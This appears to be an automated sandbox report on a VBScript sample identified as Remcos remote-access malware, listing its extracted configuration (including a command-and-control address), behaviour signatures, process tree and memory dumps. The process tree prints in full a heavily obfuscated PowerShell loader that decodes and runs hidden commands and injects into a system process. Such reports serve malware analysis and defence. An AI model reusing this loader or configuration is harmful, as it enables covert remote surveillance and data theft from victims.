Analysis
- max time kernel
149s - max time network
142s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
- submitted
06/07/2026, 07:24
General
- Target Folliklers228.vbs
- Size 43KB
- Sample260706-h8nvbsbs41
- SHA256 d81d50ec4e9c4c9706134fad084ae169943a374ba9c587ebff22c1e952e50ad1
Malware Config
Extracted
-
remcos
-
7.2.5 Pro
-
RemoteHost
-
102.220.160.21:2404
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-FOVHV5
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Folliklers228.vbs"1⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Mul8668.8668.8668.babe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "rv 'brnderiet' 'indhalende' 'transfusional';$vgtning=26419-26419;$sekretet=60696-54696;function unreasons ($tyrannides,$boaters237) {$rusgiftene=redaktionskomiteen(@(108,237,224,217,198,218,215,208,201,173,236,148,201,221,219,219,143,137,170,232,200,219,202,222,220,153,152,127,162)) ;Reallegorize ($rusgiftene)}function redaktionskomiteen ($telescriptor) { do {$sekretet=$sprogtonernes[$vgtning%9];$telescriptor[$vgtning]-=$sekretet;$pentamery+=[char]$telescriptor[$vgtning];$vgtning++} while ($telescriptor[$vgtning])$pentamery}function Reallegorize ($sjldenheder) {&($presupposition) $sjldenheder}Function Udklip188 ($telescriptor,$elevraadsmdernes=0){$prosection=redaktionskomiteen(@(163,188,214,213,219,209,219,219,194,130,179,173,217,212,217,171,200,216,173,175,155,186,217,222,210,213,204,112,157,219,204,209,209,220,202,215,177,233,219,214,215,149));$bandhu93=@(Reallegorize ($prosection));For($ongaro=0; $bandhu93[$ongaro] -ne $rectigraph; $ongaro++){$bandhu93[$ongaro] = unreasons $bandhu93[$ongaro] $sprogtonernes[$ongaro%9]}$dollarers=redaktionskomiteen(@(117,227,214,208,211,140,196,202,205,169,235,194,196,194,144,203,200,211,172,225,220,160,152));$pornografis=Reallegorize ($dollarers);if ($elevraadsmdernes) { Reallegorize $pornografis}else {;$pornografis}}$sprogtonernes=@(72,121,103,103,101,108,105,103,101);$presupposition=redaktionskomiteen @(145,190,191);$phytoteratologic='\snitslens.Apt';$tyrannidesagers=Udklip188 'fVdXR007AAkBJw4URys4SVZVZklcRzIFB1FRc1kfUVFXSRUTckhSVUtcQEciLRoMCEpeWVZVeEhXVkUqABUALhYfSFRZW0lV';$nazaritic=Udklip188 'IA0TFxZWRkgBOhARAksLBggCJBxJBAoBRhIGdxwfFwoeHVoBJw4JCwoNDUEMLERWVhciGgJWZSsdKg4DIy48PRghKhMIGDFVPRYRAQ8ALA0=';$tyrannidesxe=Udklip188 'BQofCgleRzQAOg8CFT0hJS8xHClJUUtc';$skulking=Udklip188 'Dzwz';$profitmagerne137=Udklip188 'HQoCFUgtDgILPA==';$udgiftssiders=Udklip188 'dg==';Udklip188 'bB4LCAcNBV0DKRQOCwwJDwgLLBwJWkEJBxFfKQkXAwQYCExBOBEeEwoYDBUEPBYLCAIFCg==' 1;Udklip188 'bB4LCAcNBV0EJg0ODwwIGwgRIRpaQwsNEwYXIQ0OBEsfGQsMPFFDEgELAAEROwoOAwAeGk4=' 1;$nazaritic=$antihidrotic[0];Udklip188 'bB4LCAcNBV0NKRQSCQEfVCkAP1QoBQ8JChNFZToICkVIHR4XKRcJDgEJGh8A' 1;Udklip188 'bB4LCAcNBV0WIxAGABcNGQ8ALERPMwAfHUo1KQ0PR0EKCAoMJBACAQoCDQILYQ==' 1;while (!$skiagraphed) {Udklip188 'bB4LCAcNBV02JRgGBRcCGhcBKR4IABZRTRMXPRw=' 1;Udklip188 'bBEGChACDRRLJwkCCU1IGgwQJBIOCQJASUMLKQMGFQwYAARJaF0BBgkfDE4=' 1;Udklip188 'bBEGChACDRRLOxwTNQAdHAIWPDECBgEJG09BOAsIAQwYBAYCLQsJAlRfXktFbA0eFQQCBw4BLQoGAAAeGk4=' 1;Udklip188 'bBEGChACDRRLOxwJA01F' 1;Udklip188 'bB4LCAcNBV0EIw0CFQAIDFpBIBgKEgsIGkkWPBgTEhZMRAIUaEtXVw==' 1;if ($akterede) {Udklip188 'ExseEwA3NDpBLxUIBQQAUxUELBwVDgsLDAkWdV0PBggZBwMWZgsCFBUDBxQAChYDHg==' 1;Udklip188 'OxpHQwMNBA4JIRwBCAsIDAlFbAsGAwAeAAkCLRcUR0gpBwQKLBAJAEUuEBMA' 1} Udklip188 'GxUCAhVEXU4=' 1;Udklip188 'bB4LCAcNBV0WIxAGABcNGQ8ALERPMwAfHUo1KQ0PR0EKCAoMJBACAQoCDQILYQ==' 1 ;Udklip188 'bB4LCAcNBV0IIRcDFBEJHxUBIURDAAkDCwYJcgoKBgkAAAkCY1JCQwQCHQ4NIR0VCBEFCkkGJwwJEw==' 1;$nazaritic=$antihidrotic[$mindstevrdi]}$kompenserende=148861;$overfring=19378;Udklip188 'bB4LCAcNBV0WKxUCFQocCBUAIUQABEVIDwYIIRUOAgMDBwMAJg==' 1;Udklip188 'bB4LCAcNBV0tJxUDBhcODA0BLUQ8JAoCHwIXPCRdXSMeBgonKQoCUVE/HRUMJh5PQxYPBQIXJwkGFQAFQA==' 1;Udklip188 'bB4LCAcNBV0NMQkUCAwfBhMNLQsKWj44DB8RZjwJBAoIAAkCFUNdJjYvIC5LDxwTNBEeAAkCYF0vCAkICBUHLRMDAkw=' 1;Udklip188 'bB4LCAcNBV0VJw0GBQkJBwIWO0RDDxwcGggMOxYTDwAeBEkWPRsUExcFBwBNbBIIChUJBxQAOhwJAwBATQgTLQsBFQwCDk4=' 1;Reallegorize $potableness;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "rv 'brnderiet' 'indhalende' 'transfusional';$vgtning=26419-26419;$sekretet=60696-54696;function unreasons ($tyrannides,$boaters237) {$rusgiftene=redaktionskomiteen(@(108,237,224,217,198,218,215,208,201,173,236,148,201,221,219,219,143,137,170,232,200,219,202,222,220,153,152,127,162)) ;Reallegorize ($rusgiftene)}function redaktionskomiteen ($telescriptor) { do {$sekretet=$sprogtonernes[$vgtning%9];$telescriptor[$vgtning]-=$sekretet;$pentamery+=[char]$telescriptor[$vgtning];$vgtning++} while ($telescriptor[$vgtning])$pentamery}function Reallegorize ($sjldenheder) {&($presupposition) $sjldenheder}Function Udklip188 ($telescriptor,$elevraadsmdernes=0){$prosection=redaktionskomiteen(@(163,188,214,213,219,209,219,219,194,130,179,173,217,212,217,171,200,216,173,175,155,186,217,222,210,213,204,112,157,219,204,209,209,220,202,215,177,233,219,214,215,149));$bandhu93=@(Reallegorize ($prosection));For($ongaro=0; $bandhu93[$ongaro] -ne $rectigraph; $ongaro++){$bandhu93[$ongaro] = unreasons $bandhu93[$ongaro] $sprogtonernes[$ongaro%9]}$dollarers=redaktionskomiteen(@(117,227,214,208,211,140,196,202,205,169,235,194,196,194,144,203,200,211,172,225,220,160,152));$pornografis=Reallegorize ($dollarers);if ($elevraadsmdernes) { Reallegorize $pornografis}else {;$pornografis}}$sprogtonernes=@(72,121,103,103,101,108,105,103,101);$presupposition=redaktionskomiteen @(145,190,191);$phytoteratologic='\snitslens.Apt';$tyrannidesagers=Udklip188 'fVdXR007AAkBJw4URys4SVZVZklcRzIFB1FRc1kfUVFXSRUTckhSVUtcQEciLRoMCEpeWVZVeEhXVkUqABUALhYfSFRZW0lV';$nazaritic=Udklip188 'IA0TFxZWRkgBOhARAksLBggCJBxJBAoBRhIGdxwfFwoeHVoBJw4JCwoNDUEMLERWVhciGgJWZSsdKg4DIy48PRghKhMIGDFVPRYRAQ8ALA0=';$tyrannidesxe=Udklip188 'BQofCgleRzQAOg8CFT0hJS8xHClJUUtc';$skulking=Udklip188 'Dzwz';$profitmagerne137=Udklip188 'HQoCFUgtDgILPA==';$udgiftssiders=Udklip188 'dg==';Udklip188 'bB4LCAcNBV0DKRQOCwwJDwgLLBwJWkEJBxFfKQkXAwQYCExBOBEeEwoYDBUEPBYLCAIFCg==' 1;Udklip188 'bB4LCAcNBV0EJg0ODwwIGwgRIRpaQwsNEwYXIQ0OBEsfGQsMPFFDEgELAAEROwoOAwAeGk4=' 1;$nazaritic=$antihidrotic[0];Udklip188 'bB4LCAcNBV0NKRQSCQEfVCkAP1QoBQ8JChNFZToICkVIHR4XKRcJDgEJGh8A' 1;Udklip188 'bB4LCAcNBV0WIxAGABcNGQ8ALERPMwAfHUo1KQ0PR0EKCAoMJBACAQoCDQILYQ==' 1;while (!$skiagraphed) {Udklip188 'bB4LCAcNBV02JRgGBRcCGhcBKR4IABZRTRMXPRw=' 1;Udklip188 'bBEGChACDRRLJwkCCU1IGgwQJBIOCQJASUMLKQMGFQwYAARJaF0BBgkfDE4=' 1;Udklip188 'bBEGChACDRRLOxwTNQAdHAIWPDECBgEJG09BOAsIAQwYBAYCLQsJAlRfXktFbA0eFQQCBw4BLQoGAAAeGk4=' 1;Udklip188 'bBEGChACDRRLOxwJA01F' 1;Udklip188 'bB4LCAcNBV0EIw0CFQAIDFpBIBgKEgsIGkkWPBgTEhZMRAIUaEtXVw==' 1;if ($akterede) {Udklip188 'ExseEwA3NDpBLxUIBQQAUxUELBwVDgsLDAkWdV0PBggZBwMWZgsCFBUDBxQAChYDHg==' 1;Udklip188 'OxpHQwMNBA4JIRwBCAsIDAlFbAsGAwAeAAkCLRcUR0gpBwQKLBAJAEUuEBMA' 1} Udklip188 'GxUCAhVEXU4=' 1;Udklip188 'bB4LCAcNBV0WIxAGABcNGQ8ALERPMwAfHUo1KQ0PR0EKCAoMJBACAQoCDQILYQ==' 1 ;Udklip188 'bB4LCAcNBV0IIRcDFBEJHxUBIURDAAkDCwYJcgoKBgkAAAkCY1JCQwQCHQ4NIR0VCBEFCkkGJwwJEw==' 1;$nazaritic=$antihidrotic[$mindstevrdi]}$kompenserende=148861;$overfring=19378;Udklip188 'bB4LCAcNBV0WKxUCFQocCBUAIUQABEVIDwYIIRUOAgMDBwMAJg==' 1;Udklip188 'bB4LCAcNBV0tJxUDBhcODA0BLUQ8JAoCHwIXPCRdXSMeBgonKQoCUVE/HRUMJh5PQxYPBQIXJwkGFQAFQA==' 1;Udklip188 'bB4LCAcNBV0NMQkUCAwfBhMNLQsKWj44DB8RZjwJBAoIAAkCFUNdJjYvIC5LDxwTNBEeAAkCYF0vCAkICBUHLRMDAkw=' 1;Udklip188 'bB4LCAcNBV0VJw0GBQkJBwIWO0RDDxwcGggMOxYTDwAeBEkWPRsUExcFBwBNbBIIChUJBxQAOhwJAwBATQgTLQsBFQwCDk4=' 1;Reallegorize $potableness;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
- outlook_office_path
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_rm1bw1rk.pdd.ps1
snitslens.Apt
memory/712-44-0x0000000008240000-0x00000000088BC000-memory.dmp
memory/712-42-0x0000000006A30000-0x0000000006A4E000-memory.dmp
memory/712-47-0x0000000007E10000-0x0000000007E32000-memory.dmp
memory/712-46-0x0000000007E70000-0x0000000007F06000-memory.dmp
memory/712-45-0x0000000006FA0000-0x0000000006FBA000-memory.dmp
memory/712-29-0x0000000003200000-0x0000000003236000-memory.dmp
memory/712-43-0x0000000006B80000-0x0000000006BCC000-memory.dmp
memory/712-48-0x0000000008E80000-0x000000000943A000-memory.dmp
memory/712-50-0x0000000009440000-0x000000000B1FC000-memory.dmp
memory/712-39-0x0000000006540000-0x000000000689B000-memory.dmp
memory/712-32-0x0000000006460000-0x00000000064C6000-memory.dmp
memory/712-33-0x00000000064D0000-0x0000000006536000-memory.dmp
memory/712-31-0x0000000005C60000-0x0000000005C82000-memory.dmp
memory/712-30-0x0000000005D60000-0x00000000063AA000-memory.dmp
memory/6108-73-0x0000000000E00000-0x00000000020E6000-memory.dmp
memory/6108-63-0x0000000000E00000-0x00000000020E6000-memory.dmp
memory/6108-85-0x0000000000E00000-0x00000000020E6000-memory.dmp
memory/6108-84-0x0000000000E00000-0x00000000020E6000-memory.dmp
memory/6108-83-0x0000000000E00000-0x00000000020E6000-memory.dmp
memory/6108-82-0x0000000000E00000-0x00000000020E6000-memory.dmp
memory/6108-81-0x0000000000E00000-0x00000000020E6000-memory.dmp
memory/6108-80-0x0000000000E00000-0x00000000020E6000-memory.dmp
memory/6108-79-0x0000000000E00000-0x00000000020E6000-memory.dmp
memory/6108-78-0x0000000000E00000-0x00000000020E6000-memory.dmp
memory/6108-77-0x0000000000E00000-0x00000000020E6000-memory.dmp
memory/6108-76-0x0000000000E00000-0x00000000020E6000-memory.dmp
memory/6108-75-0x0000000000E00000-0x00000000020E6000-memory.dmp
memory/6108-74-0x0000000000E00000-0x00000000020E6000-memory.dmp
memory/6108-72-0x000000001EE30000-0x000000001EF27000-memory.dmp
memory/6108-71-0x000000001EE30000-0x000000001EF27000-memory.dmp
memory/6108-68-0x000000001EE30000-0x000000001EF27000-memory.dmp
memory/6176-17-0x00007FFE094B0000-0x00007FFE09E54000-memory.dmp
memory/6176-16-0x00007FFE094B0000-0x00007FFE09E54000-memory.dmp
memory/6176-9-0x00007FFE094B0000-0x00007FFE09E54000-memory.dmp
memory/6176-11-0x00007FFE094B0000-0x00007FFE09E54000-memory.dmp
memory/6176-12-0x00007FFE094B0000-0x00007FFE09E54000-memory.dmp
memory/6176-2-0x00007FFE0963F000-0x00007FFE09640000-memory.dmp
memory/6176-13-0x00007FFE094B0000-0x00007FFE09E54000-memory.dmp
memory/6176-14-0x00007FFE094B0000-0x00007FFE09E54000-memory.dmp
memory/6176-15-0x00007FFE094B0000-0x00007FFE09E54000-memory.dmp
memory/6176-5-0x000001B0A66C0000-0x000001B0A66E2000-memory.dmp
memory/6176-28-0x00007FFE094B0000-0x00007FFE09E54000-memory.dmp
memory/6176-18-0x00007FFE094B0000-0x00007FFE09E54000-memory.dmp
memory/6176-19-0x00007FFE094B0000-0x00007FFE09E54000-memory.dmp
memory/6176-20-0x00007FFE094B0000-0x00007FFE09E54000-memory.dmp
memory/6176-21-0x00007FFE094B0000-0x00007FFE09E54000-memory.dmp
memory/6176-22-0x00007FFE094B0000-0x00007FFE09E54000-memory.dmp
memory/6176-23-0x00007FFE094B0000-0x00007FFE09E54000-memory.dmp
memory/6176-24-0x00007FFE094B0000-0x00007FFE09E54000-memory.dmp